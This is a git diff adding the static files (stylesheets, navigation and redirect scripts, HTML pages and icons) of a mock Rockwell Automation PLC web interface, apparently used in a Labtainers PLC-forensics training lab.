+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/etherstats_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home.html new file mode 100644 index 000000000..a35d85b3b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home.html new file mode 100644 index 000000000..9a85ea5a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home.html @@ -0,0 +1,107 @@ + + +Rockwell Automation + + + + + +
+ + + + + + +
Home
+ + + + + + + +

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Device Name
Device Description
Device Location
Ethernet Address (MAC)00:00:DE:AD:BE:EF
IP Address10.1.100.2
Product Revision0.000 Build 0
Firmware Version DateMar 13 2013, 09:49:27
Serial Number00000000
StatusIdle
Uptime00h:27m:31s

+ + + + + + + + + + + + + + + + + + + + + + + + + +
Resources
 
 
Contacts

diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/home_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/home_files/navtree_files/paper.gif differ diff --git 